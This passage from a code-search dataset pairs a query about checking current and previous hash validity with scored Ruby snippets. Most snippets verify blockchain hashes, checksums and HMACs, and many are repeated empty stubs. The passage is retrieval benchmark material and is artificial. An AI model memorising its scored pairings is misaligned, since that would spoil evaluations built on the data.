"score": "0.54113144", "text": "def at_least_times_executed=(_arg0); end", "title": "" }, { "docid": "17966ac7ffda6a58d4fd24706fc4ee23", "score": "0.54035664", "text": "def iterations; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.53990704", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.53990704", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.53990704", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.53990704", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.53990704", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.53990704", "text": "def bodystmt; end", "title": "" }, { "docid": "3c71c7f20196a8e8b1380db5ea934092", "score": "0.5397823", "text": "def visualize_spin\n 2000.times do |original|\n hashed_values = []\n 9000000000.times do |spin|\n hashed = ScatterSwap.hash(original, spin)\n if hashed_values.include? hashed\n puts \"collision: #{original} - #{spin} - #{hashed}\"\n break\n end\n hashed_values.push hashed\n end\n end\nend", "title": "" }, { "docid": "5c7b1baca52346fb8c45e5140d2e6ccf", "score": "0.539292", "text": "def runnables; end", "title": "" }, { "docid": "d18c15680cfbc63d9af488ef055d113e", "score": "0.5379188", "text": "def test_case_final\n nb_matching_pairs = compute_multithread('2sum.txt',-10000,10000)\n assert_equal 427, nb_matching_pairs\n end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.5372756", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.5372756", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.5372756", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.5372756", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.5372756", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.5372756", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.5372756", "text": "def executor; end", "title": "" }, { "docid": "b75b07c5f039c4cd8574742da5cd7020", "score": "0.5372502", "text": "def runout\n raise(RuntimeError, 'no more unique values')\n end", "title": "" }, { "docid": "25b3fcfcf33ffae73848158244a8d93b", "score": "0.5359653", "text": "def run_internal; end", "title": "" }, { "docid": "26b6c04dcf44249e0db9123086f5c4c1", "score": "0.5353561", "text": "def strict_loading_n_plus_one_only?; end", "title": "" }, { "docid": "bc658f9936671408e02baa884ac86390", "score": "0.53531575", "text": "def anchored; end", "title": "" }, { "docid": "8ef3de06a8e4bee6dd3f0a3d67086c08", "score": "0.5352224", "text": "def test\n 10000.times do |i|\n puts \"try #{i}\"\n picks = make\n puts picks.inspect\n picks.each do |picker, pickee|\n raise \"Invalid found\" if picker == pickee\n raise \"Invalid found (previous)\" if previous_pick_for(picker) == pickee\n end\n end\n end", "title": "" }, { "docid": "a73d086acbe26d80f1bfe3681f466bde", "score": "0.5345821", "text": "def reserve() end", "title": "" }, { "docid": "6a580931a1781238fd4518fdb62728d7", "score": "0.53423715", "text": "def process; end", "title": "" }, { "docid": "6a580931a1781238fd4518fdb62728d7", "score": "0.53423715", "text": "def process; end", "title": "" }, { "docid": "6a580931a1781238fd4518fdb62728d7", "score": "0.53423715", "text": "def process; end", "title": "" }, { "docid": "491ad205b70d0ff12aebd862cc2e851a", "score": "0.533069", "text": "def used(n)\n end", "title": "" } ]
df03b3ca282e0b10ff8c7007e6212175
This checks if either the current or previous hash is valid
[ { "docid": "338145b9b70cc3b3cfda29ab41b44306", "score": "0.7188143", "text": "def check_hash block\n if @num != 0\n if @prev_line.split(\"|\")[4].split(\"\\n\")[0] != block.getPrev()\n puts \"Line #{@num}: Previous hash was #{block.getPrev()}, should be #{block.getCurr()}\"\n return -1\n end\n else\n if block.getPrev() != \"0\"\n puts \"Line #{@num}: Previous hash in the first block does not equal to 0\"\n return -1\n end\n end\n\n if block.check_curr() == 1\n return 1\n end\n\n puts \"Line #{@num}: The hash does not match the previous. #{block.getHash()} != #{block.getCurr()}\"\n return -1\nend", "title": "" } ]
[ { "docid": "5517ec265587454286b42a864e96397c", "score": "0.79133004", "text": "def prev_hash_check(curr_block, last_block)\r\n unless last_block.nil?\r\n return false if last_block.end_hash.unpack('*U') != curr_block.last_hash.unpack('*U')\r\n end\r\n true\r\n end", "title": "" }, { "docid": "c743b181063c282a05c0b6bde6113826", "score": "0.76354367", "text": "def verify_previous_hash previous, current, line_number\n if previous != current && previous != '0'\n puts \"Line #{line_number}: Previous hash was #{current}, should be #{previous}\"\n puts \"BLOCKCHAIN INVALID\"\n exit()\n end\n end", "title": "" }, { "docid": "c361796c979c120d9f59d76da2086e49", "score": "0.7343154", "text": "def check_prev_hash(prev_hash, curr_hash, _b_num)\n return 4 unless prev_hash.eql? curr_hash\n\n 0\n end", "title": "" }, { "docid": "feb64a87e3b62595a902828154e03020", "score": "0.73390293", "text": "def check_prev_hash(expected_prev_hash, prev_hash, line_number)\n if line_number.zero?\n unless expected_prev_hash == '0'\n print_err('The first block should have a previous hash ' \\\n \"value of 0 and not '#{expected_prev_hash}'\", line_number)\n false\n end\n end\n\n return true unless expected_prev_hash != prev_hash\n\n print_err(\"Previous hash was #{expected_prev_hash}, should be #{prev_hash}\", line_number)\n false\n end", "title": "" }, { "docid": "0caf9b96217290a2c91f91b6e73419a5", "score": "0.7299156", "text": "def check_prev_hash(i, supposed, actual)\n if supposed.to_i(16) != actual.to_i(16)\n prev_error(i, supposed, actual)\n return 1\n else\n return 0\n end\n end", "title": "" }, { "docid": "1b356bf4640e2e3254997688e3df63aa", "score": "0.7131664", "text": "def valid_block?(prev_block)\n prev_block_hash(prev_block) == last_block.hash\n end", "title": "" }, { "docid": "8636468cee10554a9d55888b3d55881f", "score": "0.6984099", "text": "def check_prev_hash(prev_hash, block_prev_hash, hash, line_num)\n if prev_hash != block_prev_hash\n puts(\"Line #{line_num}: Previous hash was #{block_prev_hash}, should be #{prev_hash}\\nBLOCKCHAIN INVALID\")\n exit 1\n end\n hash.delete(\"\\n\")\n end", "title": "" }, { "docid": "cbabb20c4fc3472450b771971b719e04", "score": "0.6966091", "text": "def prev_hash_correct?(line_num, expected_prev_hash, current_prev_hash)\n if(expected_prev_hash == current_prev_hash)\n return true\n else\n puts \"Line #{line_num}: Previous hash was #{current_prev_hash}, should be #{expected_prev_hash}\"\n return false\n end\n end", "title": "" }, { "docid": "105a4cb8f6f502ff29eea2356bb269db", "score": "0.6864068", "text": "def check_next_hash(next_hash, hash_input, line_number, utf_vals)\n real_next = calc_hash(hash_input, utf_vals)\n return true unless real_next != next_hash\n\n print_err(\"String '#{hash_input}' hash set to #{next_hash}, should be #{real_next}\", line_number)\n false\n end", "title": "" }, { "docid": "f17f59ab44d4b8896c6b19f0fada8558", "score": "0.67832065", "text": "def check_hash(calculated_hash, stored_hash)\r\n return false if stored_hash != calculated_hash\r\n\r\n true\r\n end", "title": "" }, { "docid": "d31ba253c613369211253b0add3e804d", "score": "0.6757003", "text": "def test_previous_hashes_invalid\n\t\tblock1 = Block::new 5, \"97df\", \"Henry>Edward(23):Rana>Alfred(1):James>Rana(1):SYSTEM>George(100)\", \"1518892051.783448000\", \"d072\"\n\t\tblock2 = Block::new 6, \"1\", \"Wu>Edward(16):SYSTEM>Amina(100)\", \"1518892051.793695000\", \"949\"\n\t\tassert_equal -1, Verifier.check_previous_hashes(block1, block2)\n\tend", "title": "" }, { "docid": "8e3e173064b47fa0342858f3179806f9", "score": "0.6748089", "text": "def is_valid?\n self.hash == self.generated_hash\n end", "title": "" }, { "docid": "dbf1bfd2feb01d56a9413d60e6cd4c44", "score": "0.6738478", "text": "def test_previous_hashes_valid\n\t\tblock1 = Block::new 5, \"97df\", \"Henry>Edward(23):Rana>Alfred(1):James>Rana(1):SYSTEM>George(100)\", \"1518892051.783448000\", \"d072\"\n\t\tblock2 = Block::new 6, \"d072\", \"Wu>Edward(16):SYSTEM>Amina(100)\", \"1518892051.793695000\", \"949\"\n\t\tassert_equal 1, Verifier.check_previous_hashes(block1, block2)\n\tend", "title": "" }, { "docid": "7e285d85d92b808392ee50dcd3810650", "score": "0.66895926", "text": "def validate_hash(calculated, actual)\n if calculated.to_i(16) == actual.to_i(16)\n return 0\n else\n return 1\n end\n end", "title": "" }, { "docid": "a26526ce11e3e9fc283c58403365f20e", "score": "0.6597256", "text": "def valid_ploof(transactions, previous_hash, nonce, difficulty = DIFFICULTY)\n next_block = sort_dict_by_key({\n transactions: transactions,\n previous_hash: previous_hash,\n nonce: nonce\n })\n next_hash = generate_hash(next_block)\n next_hash.to_s.slice(0..2) == '0' * difficulty\n end", "title": "" }, { "docid": "88d7fbe9d9ec16484c4600970b1c715e", "score": "0.65752184", "text": "def is_hash_valid?\n blocks_valid = @blocks.all?(&:is_hash_valid?)\n unless blocks_valid\n Rails.logger.error 'Not all blocks are valid'\n return false\n end\n Rails.logger.debug 'all blocks are valid'\n expected_hash = '0'\n expected_hash = 0\n for i in 0..@blocks.size - 1\n Rails.logger.debug i\n return false if !@blocks[i].previous_block_hash == expected_hash\n expected_hash = @blocks[i].block_chain_hash\n end\n true\n end", "title": "" }, { "docid": "75b7a648ac451becaa9a29a4fd7d5c47", "score": "0.6466661", "text": "def test_prev_hash_true \n\t\tassert verify_prev_hash(\"beef\", \"beef\")\n\tend", "title": "" }, { "docid": "58ef3a5b0a7d570c2d999015ed9ce733", "score": "0.6462554", "text": "def verify_hash(split_line)\r\n if @prev_hash != split_line[1].to_i(16)\r\n puts \"Line #{@line_cnt - 1}: Previous hash was #{split_line[1]}, should be #{@prev_hash_x}\"\r\n puts 'BLOCKCHAIN INVALID'\r\n @execute = false\r\n else\r\n @prev_hash = split_line[4].delete(\"\\n\").to_i(16)\r\n @prev_hash_x = split_line[4].delete(\"\\n\")\r\n end\r\n end", "title": "" }, { "docid": "7e57abe750a2cd36c5f7b58cce2ca5ee", "score": "0.64400196", "text": "def hash_check(block)\r\n unpacked_string = block.line_num + '|' + block.last_hash + '|' + block.transactions + '|' + block.time_val\r\n unpacked_string = unpacked_string.unpack('U*')\r\n sum = 0\r\n unpacked_string.each do |x|\r\n temp = (x**2000) * ((x + 2)**21) - ((x + 5)**3)\r\n sum += temp\r\n end\r\n sum = sum % 655_36\r\n return sum.to_s(16) != block.end_hash\r\n end", "title": "" }, { "docid": "6e43e9fb6b5f8b61860a3984db9bd211", "score": "0.64300525", "text": "def valid?\n checksum == params['TradeSha']\n end", "title": "" }, { "docid": "fe6098c09e3013bf025563a5c91a4afc", "score": "0.6424049", "text": "def test_check_prev_not_eq\n def @my_bc.print_err(msg, line_number); 1; end\n\n res = @my_bc.check_prev_hash('0', '1', 1)\n assert_equal false, res\n end", "title": "" }, { "docid": "d50cd3fd8d567d1949003cdba489cf6c", "score": "0.64134", "text": "def test_validate_hash_true\r\n\t\tinfo = @bc.parse_info '0|test_prev_hash|test_transaction|0.0|b325'\r\n\t\ts,e = @bc.validate_hash info\r\n\t\tassert_equal s, true\r\n\tend", "title": "" }, { "docid": "85b7f65e02af9bd4b7b627d130509d26", "score": "0.64038813", "text": "def check_curr\n if @curr_hash.strip.eql? @line_hash.strip\n return 1\n else\n return 0\n end\n end", "title": "" }, { "docid": "57538c83fae631b08b2b6bce2f8db532", "score": "0.63332653", "text": "def valid_hash?(blocks, start_index, end_index)\n index = start_index\n loop do\n break if index >= end_index\n\n # verify the index-th line here\n strings = blocks[index].split('|')\n str = strings[0...-1].join('|')\n hash_code = strings[-1][0...-1]\n calc_hash = hash_str(str, @encoding_array)\n unless calc_hash == hash_code\n puts \"Line #{index}: String '#{str}' hash set to #{hash_code}, should be #{calc_hash}\"\n show_error_message\n return false\n end\n index += 1\n end\n true\nend", "title": "" }, { "docid": "c5e5f21983486ec7b101759e43c1d59a", "score": "0.6316842", "text": "def valid?\n !expired? && (@hmac == regenerate_hmac) && (@decoded_hmac.nil? || @decoded_hmac == @hmac)\n end", "title": "" }, { "docid": "3842b95180889960adc6d5ad8c31d8da", "score": "0.62882215", "text": "def verify_block(curr_block, last_block)\r\n hash_check = hash_check(curr_block)\r\n time_check = time_check(curr_block, last_block)\r\n transaction_check = transaction_check()\r\n prev_hash_check = prev_hash_check(curr_block, last_block)\r\n line_num_check = line_num_check(curr_block, last_block)\r\n if hash_check && time_check && transaction_check && prev_hash_check && line_num_check\r\n return true, nil\r\n elsif hash_check == true && time_check == true && prev_hash_check == true && line_num_check == true\r\n return false, 1\r\n elsif time_check == true && prev_hash_check && line_num_check == true\r\n return false, 2\r\n elsif time_check == true && line_num_check == true\r\n return false, 3\r\n elsif time_check == true\r\n return false, 4\r\n else\r\n return false, 5\r\n end\r\n end", "title": "" }, { "docid": "5adf787bd2dd3f7ce33b0a64be963776", "score": "0.62395173", "text": "def compare_current_hash\r\n\t\tif @current_hash.strip.eql? @calculated_hash.strip\r\n\t\t\treturn 1\r\n\t\telse\r\n\t\t\treturn 0\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "fb1b39af1abe5e58ff7352e78bc4ec47", "score": "0.62292856", "text": "def valid_chain(chain)\n last_block = chain[0]\n current_index = 1\n\n while current_index < chain.size\n block = chain[current_index]\n p last_block\n p block\n p '\\n-------------\\n'\n\n # Check that the hash of the block is correct\n if block[:previous_hash] != hash(last_block)\n return false\n end\n\n # Check that the Proof of Work is correct\n unless valid_proof(last_block[:proof], block[:proof])\n return false\n end\n\n last_block = block\n current_index += 1\n end\n\n return true\n end", "title": "" }, { "docid": "38b3b9ff767f3af1547c9b1fd723cd28", "score": "0.6225734", "text": "def check?()\n\t\treturn false if !self.unpack()\n\t\tunless @unk == 3\n\t\t\tputs \"Unk doesn't match (\" + @unk.to_s + \" vs. 3). Continuing anyways...\"\n\t\tend\n\t\tunless @unk2 == 0\n\t\t\tputs \"Unk2 doesn't match (\" + @unk2.to_s + \" vs. 0). Continuing anyways...\"\n\t\tend\n\t\tnewdata = @data.clone\n\t\tnewdata[@size-0x10,@size] = \"\\0\" * 16\n\t\tunless @crypt.validateMD5Hash(@data[0, @size], @hash)\n\t\t\tputs \"Invalid hash, continuing anyways...\"\n\t\tend\n\t\treturn true\n\tend", "title": "" }, { "docid": "3022572a700526783e8a6382e3ccea79", "score": "0.62252086", "text": "def corrupt?\n checksum != calculate_checksum\n end", "title": "" }, { "docid": "378d4728ef6d5e88fa030979cf754c40", "score": "0.62251014", "text": "def valid_hash?(h); end", "title": "" }, { "docid": "a797ac0375aefda368ffb492cd026b6a", "score": "0.62106514", "text": "def final_hash_match\n unless @final_hash_match\n errors.add :file_hash,\n \"of the file does not match the MD5 hash the client calculated. Something didn't transfer correctly.\"\n end\n @final_hash_match\n end", "title": "" }, { "docid": "bd0eb1717e744de405b8d878e47fb170", "score": "0.6201198", "text": "def valid?\n if sof?\n @bytes.last == generate_checksum\n else\n true\n end\n end", "title": "" }, { "docid": "999388030eab7204b2fa75dfc5c2a1ce", "score": "0.61996424", "text": "def corrupt?\n checksum != calculate_checksum\n end", "title": "" }, { "docid": "999388030eab7204b2fa75dfc5c2a1ce", "score": "0.61996424", "text": "def corrupt?\n checksum != calculate_checksum\n end", "title": "" }, { "docid": "8dd8bb0759d1d885e716912ba3dc0254", "score": "0.6189843", "text": "def test_check_initial_hash_reference_wrong\n ver = Verifier.new\n\n assert_equal(ver.check_initial_hash_reference(1),false)\n assert_equal(ver.check_initial_hash_reference(-1),false)\n assert_equal(ver.check_initial_hash_reference(1000),false)\n end", "title": "" }, { "docid": "a7516cc9fcdad4c7313c464fb3e42cb9", "score": "0.6186056", "text": "def valid?\n checksum == expected_checksum\n end", "title": "" }, { "docid": "c14ce5bbeb31ab8ce715cb2d7b380dc7", "score": "0.61741614", "text": "def valid?\n return false if targetHash.blank? || merkleRoot.blank?\n\n # No siblings, single item tree, so the hash\n # should also be the root\n return targetHash == merkleRoot if proof.empty?\n\n # The target hash (the hash the user submitted)\n # is always hashed in the first cycle through the\n # proofs. After that, the proof_hash value will\n # contain intermediate hashes.\n proof_hash = targetHash\n\n proof.each do |p|\n h = Digest::SHA256.new\n if p.key?('left')\n h.update hex2bin(p['left'])\n h.update hex2bin(proof_hash)\n elsif p.key?('right')\n h.update hex2bin(proof_hash)\n h.update hex2bin(p['right'])\n else\n return false\n end\n proof_hash = h.hexdigest\n end\n\n proof_hash == merkleRoot\n end", "title": "" }, { "docid": "cc801e8454bc4c10789ab2c5cd518e4b", "score": "0.61385405", "text": "def test_zero_previous_hash_valid\n\t\tblock = Block::new 0, \"0\", \"SYSTEM>Henry(100)\", \"1518892051.737141000\", \"1c12\"\n\t\tassert_equal 1, Verifier.check_zero_previous_hash(block)\n\tend", "title": "" }, { "docid": "2dc2b34a79363888c13954fb1c931555", "score": "0.6115382", "text": "def valid_chain(chain)\n last_block = chain[0]\n index = 1\n\n while index < chain.size do\n block = chain[index]\n\n # Check previous block hash is correct\n if block[:previous_hash] != hash(last_block)\n false\n end\n\n # Check Proof of Work\n unless valid_proof(last_block[:proof], block[:proof])\n false\n end\n\n last_block = block\n index += 1\n end\n true # If we got here, all blocks are valid; therefore the chain is valid\n end", "title": "" }, { "docid": "7cf2775a370860d5f6817a5757eb3bda", "score": "0.61073935", "text": "def validate_block\r\n\t\tvalid_flag = 1\r\n\t\tif compare_current_hash == 0\r\n\t\t\treturn 0\r\n\t\telse\r\n\t\t\tputs \"Block is valid! :)\"\r\n\t\t\treturn 1\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "7d6106138189b43b794cb7470d31de8d", "score": "0.6100941", "text": "def valid_chain?(chain)\n last_block = chain[0]\n current_index = 1\n\n while current_index < chain.length do\n block = chain[current_index]\n puts last_block\n puts block\n puts \"\\n------------------\\n\"\n\n # validate hash of block\n return false if block['previous_hash'] != hash(block: last_block)\n\n # validate proof of work\n return false unless valid_proof?(last_proof: last_block['proof'], proof: block['proof'])\n\n last_block = block\n current_index += 1\n end\n true\n end", "title": "" }, { "docid": "37bc18ac6f3fc3bdab819a029dc3746d", "score": "0.60999894", "text": "def hash?\n return false if error?\n result.is_a?(Hash) && result.size > 0 && result.first.last\n end", "title": "" }, { "docid": "907484a2e63b70dfcca7b0e52dc2d8eb", "score": "0.6098895", "text": "def valid?\n\t\t\t\treturn false if @hash.nil? || @body.nil?\n\n\t\t\t\tsalt, expected_hash = @hash.split(':',2)\n\n\t\t\t\tdata_to_sign = [salt, @body].collect(&:to_s).join(':')\n\n\t\t\t\tdigest = OpenSSL::Digest::SHA256.new\n\t\t\t\treceived_data_hash = OpenSSL::HMAC.hexdigest(digest, @client.secret, data_to_sign)\n\n\t\t\t\treturn expected_hash.eql?(received_data_hash)\n\t\t\tend", "title": "" }, { "docid": "410801698f325d3d6d2d53aff2f50766", "score": "0.60958886", "text": "def test_update_previous_values\n\t property_of{\n\t\t num = string\n\t\t hash = string\n\t\t time = string\n\t }.check { |num, hash, time|\n\t\t @checker.update_previous_values(num, hash, time)\n\t\t assert @checker.previous_block_num == num\n\t\t assert @checker.previous_hash == hash\n\t\t assert @checker.previous_time == time\n\t }\n end", "title": "" }, { "docid": "696f204872356489c604e374dc29d780", "score": "0.60805976", "text": "def test_zero_previous_hash_invalid\n\t\tblock = Block::new 0, \"2\", \"SYSTEM>Devin(100)\", \"1518892051.737141000\", \"1c12\"\n\t\tassert_equal -1, Verifier.check_zero_previous_hash(block)\n\tend", "title": "" }, { "docid": "d5ec5a95ed46efec4db120f07912951a", "score": "0.6079839", "text": "def stale?\n digest != current_digest || retry_failed?\n end", "title": "" }, { "docid": "cbc4441aa7cddd555fe511bc4fc06068", "score": "0.6057149", "text": "def valid_proof?( last_proof, last_hash, proof )\n\t\tdigest = Digest::SHA2.new( Blockchain::ProofOfWork::DIGEST_SIZE )\n\t\tdigest << \"%d:%s:%d\" % [ last_proof, last_hash, proof ]\n\n\t\treturn digest.hexdigest.end_with?( '0000' )\n\tend", "title": "" }, { "docid": "a7a2ba12a7063b24b4899bf583fdaf89", "score": "0.60539925", "text": "def test_check_prev_eq\n def @my_bc.print_err(msg, line_number); 1; end\n\n res = @my_bc.check_prev_hash('1', '1', 1)\n assert_equal true, res\n end", "title": "" }, { "docid": "2cb04655402770541940e786b9095d4f", "score": "0.60280263", "text": "def test_verify_prev_hash_match_valid\n map = create_maps(@full)\n assert_equal true, verify_prev_hash_match(map)\n end", "title": "" }, { "docid": "dd7e31c834f5c310f83627281d74a903", "score": "0.6009938", "text": "def check_hash(block_number, previous_hash, transaction_string, timestamp_string, expected_hash)\n string_to_hash = \"#{block_number}|#{previous_hash}|#{transaction_string}|#{timestamp_string}\"\n sum = 0\n x_val = 0\n string_to_hash.unpack('U*').each do |x|\n if !@hash_val.key?(x)\n x_val = ((x**3000) + (x**x) - (3**x)) * (7**x)\n @hash_val[x] = x_val\n else\n x_val = @hash_val[x]\n end\n sum += x_val\n end\n sum = (sum % 65_536).to_s(16)\n return ['7', string_to_hash, expected_hash, sum] unless expected_hash == sum\n\n 0\n end", "title": "" }, { "docid": "9a8ae955795409a92576edcf7181b95c", "score": "0.59988105", "text": "def block_compare_verifiers(curr, prev)\r\n curr.verify_prev_hash(prev)\r\n curr.verify_timestamp(prev)\r\n end", "title": "" }, { "docid": "551d709e3abce0c0b7f0cad18d3a2813", "score": "0.5990528", "text": "def hash?\n !blank?(hash)\n end", "title": "" }, { "docid": "72d7f6449ce47f20adc003c435e121e2", "score": "0.59769595", "text": "def valid?\n return @valid ||= !malformed? && FiveD::AccessToken.calc_signature(@token) == @signature && !in_future?\n end", "title": "" }, { "docid": "640f4910f1774041855bd22aa89041ed", "score": "0.5967053", "text": "def verify_correct_hash expected, actual, line_number, pre_hash\n if expected != actual\n puts \"Line #{line_number}: String '#{pre_hash}' hash set to #{actual}, should be #{expected}\"\n puts \"BLOCKCHAIN INVALID\"\n exit()\n end\n end", "title": "" }, { "docid": "4d9abb850dcacf3408c61681707984bf", "score": "0.59590673", "text": "def validate_hmacs(nonce, start_block, block_count, data, hmacs)\n 0.upto(block_count - 1) do |i|\n hmac = Crypto.hmac_for_block start_block + i,\n data[i * block_size, block_size], nonce, @session_key \n unless hmacs[i] == hmac\n raise \"Data authentication error\"\n end\n end\n end", "title": "" }, { "docid": "fac97db057d900730bfb11e2719ebcf4", "score": "0.59339404", "text": "def is_hash_valid?(string, hash)\n #return true if hash == Digest::SHA256.hexdigest(DEFAULT_HASH_KEY + string)\n # \n # Fri Feb 18 01:04:52 IST 2011, ramonrails\n # * FIXME: Why not just return true/false as the result of the expression?\n # * Not touching this since it is a core logic for background jobs\n return true if hash == Digest::SHA256.hexdigest(string)\n #Digest::SHA256.hexdigest(226f3834726d5531683d4f4b5a2d202729695853662543375c226c6447 + \"Mon Dec 25 15:52:55 -0600 2007\")\n end", "title": "" }, { "docid": "4213c29fa9b24034a042b988ad5616b1", "score": "0.5929917", "text": "def test_compute_hash_incorrect\n ver = Verifier.new\n\n refute_equal(ver.compute_hash($block_number,$reference_previous_hash,$transactions,$epoch_time),\"23d2\")\n end", "title": "" }, { "docid": "f0b5e0bc713844b581f7bd5636ec386a", "score": "0.59171194", "text": "def test_check_prev_hash_zero_line_number_zero\n def @my_bc.print_err(msg, line_number); 1; end\n\n res = @my_bc.check_prev_hash('0', '1', 0)\n assert_equal false, res\n end", "title": "" }, { "docid": "47c5e8ecc185b8bf12e7a2cf297f5914", "score": "0.5914206", "text": "def changed?\n @hash_orig != @hash\n end", "title": "" }, { "docid": "51fae61d0a9472d1ee8066b0617a29c4", "score": "0.59109485", "text": "def valid?\n return false if @data['algorithm'].to_s.upcase != 'HMAC-SHA256'\n @sign == OpenSSL::HMAC.hexdigest('sha256', @app_secret, @payload)\n end", "title": "" }, { "docid": "ee5a91fb38a9bf4dde8b3ec2b5e65fd5", "score": "0.5872164", "text": "def checksum_invalid?\n !checksum_valid?\n end", "title": "" }, { "docid": "b42d0f089fcecc13c698787a16dd00dc", "score": "0.5869996", "text": "def verify_block(block)\r\n hash_check = hash_check(block)\r\n time_check = time_check(block)\r\n transaction_check = transaction_check(block)\r\n prev_hash_check = prev_hash_check(block)\r\n if hash_check == true && time_check == true && transaction_check == true && prev_hash_check == true\r\n return true, nil\r\n elsif hash_check == true && time_check == true && prev_hash_check == true\r\n return false, 1\r\n elsif time_check == true && prev_hash_check\r\n return false, 2\r\n elsif time_check == true\r\n return false, 3\r\n else\r\n return false, 4\r\n end\r\nend", "title": "" }, { "docid": "39ccecb03925e7a19788d24660527242", "score": "0.5860624", "text": "def check(hash)\n #code\n end", "title": "" }, { "docid": "4721ca1f42fd08b7cd5d92fad766bfc1", "score": "0.5858651", "text": "def matches_hash?(hash_to_check)\n hash_to_check == self.file_hash\n end", "title": "" }, { "docid": "3dce3be0cc01c1263f6737dd1728bff8", "score": "0.57838225", "text": "def valid?\n calculated_checksum = calculate_checksum_for(\n cart_params[:token], cart_params[:reference], cart_params[:timestamp]\n )\n provided_checksum = cart_params[:checksum]\n\n calculated_checksum == provided_checksum\n end", "title": "" }, { "docid": "ce4c617510dc7aee1e1a132c49c34c4b", "score": "0.5766281", "text": "def validate_previous_password\n\n return validation_error(\n 'mm_rp_9',\n 'invalid_api_params',\n ['password_same'],\n GlobalConstant::ErrorAction.default\n ) if @manager_obj.password == @new_e_password\n\n success\n\n end", "title": "" }, { "docid": "fee7af074160d05e1b3984292a81c0f4", "score": "0.5750941", "text": "def matching_hash?\n hash == generated_hash\n end", "title": "" }, { "docid": "122973ef9fa1c11ee2f1f6e957b87440", "score": "0.57147795", "text": "def valid?\n return true if @last_card.nil?\n\n @last_card.different_color?(@card) &&\n @last_card.sequentially_larger_than?(@card)\n end", "title": "" }, { "docid": "4b9afbe46040b477700a1119208c0076", "score": "0.57011074", "text": "def test_hash_inequal\n\t\tresult = @methods.check_hash_equals \"95a7\", \"95a8\"\n\t\tassert_equal 0, result\n\tend", "title": "" }, { "docid": "f7716468b70579f0af7c6df8fa6701fa", "score": "0.57010365", "text": "def valid_hash?(h)\n self.class.valid_hash?(h)\n end", "title": "" }, { "docid": "cee31bf30c7ed1de660cea768c4790c4", "score": "0.5697939", "text": "def test_check_next_hash_correct\n property_of { # A little bit of rantly\n [string, integer]\n }.check(100) { |args|\n def @my_bc.print_err(msg, line_number); 1; end\n # Simply return what hash_input was passed in\n def @my_bc.calc_hash(hash_input, utf_vals); hash_input; end\n # Note the next_hash and hash_input are the SAME\n assert_equal @my_bc.check_next_hash(args[0], args[0], args[1], {}), true\n }\n end", "title": "" }, { "docid": "75812d911184137494cd862981523798", "score": "0.5681822", "text": "def check_validity!\n check_validity_of_inverse!\n end", "title": "" }, { "docid": "a0fc263f8c38682552dec0c88b0026a2", "score": "0.5675281", "text": "def test_verify_hash_prev_hash_bad\n block0 = Minitest::Mock::new(\"block0\")\n def block0.number; 0; end\n def block0.hash_prev_block; \"0\"; end\n def block0.transactions; \"SYSTEM>Henry(100)\"; end\n def block0.timestamp; \"1518892051.737141000\"; end\n def block0.hash_this_block; \"1c12\"; end\n block1 = Minitest::Mock::new(\"block1\")\n def block1.number; 1; end\n def block1.hash_prev_block; \"1c12\"; end\n def block1.transactions; \"SYSTEM>George(100)\"; end\n def block1.timestamp; \"1518892051.740967000\"; end\n def block1.hash_this_block; \"abb2\"; end\n block2 = Minitest::Mock::new(\"block2\")\n def block2.number; 2; end\n def block2.hash_prev_block; \"abb3\"; end # BAD!\n def block2.transactions; \"George>Amina(16):Henry>James(4):Henry>Cyrus(17):Henry>Kublai(4):George>Rana(1):SYSTEM>Wu(100)\"; end\n def block2.timestamp; \"1518892051.753197000\"; end\n def block2.hash_this_block; \"c72d\"; end\n @v.blocks = [block0, block1, block2]\n assert_output(\"Line 2: Previous hash was abb3, should be abb2\\n\") { @v.verify_hash }\n refute @v.verify_hash\n end", "title": "" }, { "docid": "8490861491c7ac56700edb3074d597e5", "score": "0.566602", "text": "def valid_webmoney_activation_hash?\n if params[:USID] && params[:err] && params[:hash]\n wm_cfg = WebMoney::Ext::Client.config\n hash = hash_for_elements(wm_cfg[:social_network_id],params[:USID],params[:err],wm_cfg[:secret])\n CGI.unescape(params[:hash]) == CGI.unescape(hash)\n else\n false\n end\n end", "title": "" }, { "docid": "d41572c89d3eb420a4bd28ad1309565c", "score": "0.5658562", "text": "def no_matching_prev_passwords\n num = Settings::CheckPrevPasswords\n\n # If number is 1, this counts as the previous password, which we are checking anyway in default new_password_changed?\n return true if num < 2\n\n history_table = \"#{self.class.name.downcase.singularize}_history\"\n\n # We limit to one more than the specified number in history table, since this contains the current one in addition to the previous\n # Also, we have to pick only the distinct items, since the history table records logins, not just password changes\n userid = id\n tn = self.class.table_name\n\n pwhs = self.class.unscope(:order)\n .joins(\n Arel.sql(\n self.class.send(\n :sanitize_sql_array,\n [\"inner join #{history_table} on #{history_table}.#{tn.singularize}_id = #{tn}.id\"]\n )\n )\n )\n .where(tn => { id: userid })\n .order(\n Arel.sql(\n self.class.send(\n :sanitize_sql_array,\n [\"#{history_table}.id desc\"]\n )\n )\n )\n .limit(num + 1)\n .pluck(\n Arel.sql(\n self.class.send(\n :sanitize_sql_array,\n [\"distinct on (#{history_table}.id) #{history_table}.encrypted_password\"]\n )\n )\n )\n\n limited_pwhs = pwhs[1..]\n\n # Nothing to check against. All ok\n return true if limited_pwhs.nil?\n\n # Skip the first one, which we've checked, as mentioned above\n 